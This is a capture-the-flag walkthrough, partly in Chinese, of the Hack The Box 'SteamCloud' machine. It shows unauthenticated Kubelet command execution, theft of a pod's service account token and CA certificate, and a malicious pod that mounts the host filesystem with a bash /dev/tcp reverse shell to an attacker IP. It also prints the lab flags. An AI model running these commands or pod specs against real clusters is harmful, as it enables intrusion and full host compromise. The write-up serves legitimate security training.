SteamCloud

SteamCloud is an easy difficulty machine. The port scan reveals that it has a bunch of Kubernetes specific ports open. We cannot not enumerate the Kubernetes API because it requires authentication. Now, as Kubelet allows anonymous access, we can extract a list of all the pods from the K8s cluster by enumerating the Kubelet service. Furthermore, we can get into one of the pods and obtain the keys necessary to authenticate into the Kubernetes API. We can now create and spawn a malicious pod and then use Kubectl to run commands within the pod to read the root flag.

Recon

今天学一下k8s 最开始的nmap还是参考了一下HTB引导模式才知道考这个

❯ nmap -p 22,2379,2380,8443,10249,10250,10256 10.10.11.133
Starting Nmap 7.98 ( https://nmap.org ) at 2025-10-26 00:04 +0800
Nmap scan report for 10.10.11.133 (10.10.11.133)
Host is up (0.37s latency).

PORT      STATE SERVICE
22/tcp    open  ssh
2379/tcp  open  etcd-client
2380/tcp  open  etcd-server
8443/tcp  open  https-alt
10249/tcp open  unknown
10250/tcp open  unknown
10256/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds

至于为什么确定是k8s 在-sCV指令中可以体现 太长不放了

❯ kubeletctl pods -s 10.10.11.133
┌───────────────────────────────────────────────────────────────────────────────────┐
│                                 Pods from Kubelet                                 │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│   │ POD                                │ NAMESPACE   │ CONTAINERS              │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ coredns-78fcd69978-rr6t4           │ kube-system │ coredns                 │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ nginx                              │ default     │ nginx                   │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ kube-scheduler-steamcloud          │ kube-system │ kube-scheduler          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ etcd-steamcloud                    │ kube-system │ etcd                    │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-apiserver-steamcloud          │ kube-system │ kube-apiserver          │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ storage-provisioner                │ kube-system │ storage-provisioner     │
│   │                                    │             │                         │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-proxy-dtwf4                   │ kube-system │ kube-proxy              │
│   │                                    │             │                         │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘

Shell as nginx

Rev Failed

一般nginx所在的容器会和用户相关性更大一点 尝试一下执行命令

❯ kubeletctl exec "ls /" -p nginx  -n defalut -s 10.10.11.133

❯ kubeletctl run "ls /" -p nginx  -n defalut -s 10.10.11.133
[*] Missing some flags, exiting
❯ kubeletctl run "ls /" -p nginx  -c nginx -s 10.10.11.133
bin
boot
...
var

最终是成功执行了命令 那么弹个shell试一下

❯ kubeletctl run "bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'" -p nginx  -c nginx -s 10.10.11.133
[*] The reponse failed with status: 500
[*] Message: command 'bash -c 'bash -i >& /dev/tcp/10.10.16.4/4444 0>&1'' exited with 1: -i: -c: line 0: unexpected EOF while looking for matching `''
-i: -c: line 1: syntax error: unexpected end of file

也需要编码一下? 用base64试一下也还是不行

❯ echo "bash -i >& /dev/tcp/10.10.16.4/4444 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMQo=
❯ kubeletctl exec 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMQo=" | base64 -d | bash' -c nginx -p nginx -s 10.10.11.133
"YmFzaCAtaSA JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0NDQgMD4mMQo=" | base64 -d | bash

Shell

最后上网搜到居然这样就可以了 WTF?

❯ kubeletctl exec '/bin/bash' -p nginx -c nginx -s 10.10.11.133
root@nginx:/# cat /root/user.txt
cat /root/user.txt
243534596537fa33ea1547aa40685757

Shell as root

直接通过nginx容器进行提权肯定是不太可能了 毕竟这种容器都是有完善安全配置的 那么另谋他路 看看能不能我们自己创建容器

通过HackTircks的文档发现 在nginx容器该目录下能够找到ca证书和token 这样就可以以某种权限连接上k8s了

❯ kubeletctl exec 'cat /run/secrets/kubernetes.io/serviceaccount/ca.crt' -p nginx -c nginx -s 10.10.11.133
❯ kubeletctl exec 'cat /run/secrets/kubernetes.io/serviceaccount/ca.crt' -p nginx -c nginx -s 10.10.11.133 > ~/Desktop/ca.crt

这样就可以获取ca证书和token了 然后开始连接到k8s并找一下权限

❯ kubectl --certificate-authority=ca.crt --token=$(cat token) get pod --server https://10.10.11.133:8443
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          50m

❯ kubectl --certificate-authority=./ca.crt --token=$(cat token) auth can-i --list --server https://10.10.11.133:8443
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
pods                                            []                                    []               [get create list]
                                                [/.well-known/openid-configuration]   []               [get]

第三条显示 这个权限可以创建pod 那么就可以打组合拳了

apiVersion: v1
kind: Pod
metadata:
  name: hack-pod
  namespace: default
spec:
  containers:
  - name: hack-pod
    image: nginx:1.14.2
    command: ["/bin/bash"]
    args: ["-c", "/bin/bash -i >& /dev/tcp/10.10.16.4/4444 0>&1"]
    volumeMounts:
    - mountPath: /mnt
      name: hostfs
  volumes:
  - name: hostfs
    hostPath:
      path: /
  automountServiceAccountToken: true
  hostNetwork: true

先创建一个人畜无害的pod 附带上反弹shell 在开启nc的基础上

❯ kubectl apply -f evil-pod.yaml --server https://10.10.11.133:8443 --certificate-authority=./ca.crt --token=$(cat token)
pod/hack-pod2 created

❯ nc -lvn 4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@steamcloud:/# cat /mnt/root/root.txt
cat /mnt/root/root.txt
83aa1aa667492d73787528b6e2037072

由于这个pod已经把host挂载在/mnt上了 于是可以直接读取flag 话说这也太狠了 人畜无害的一个pod就可以root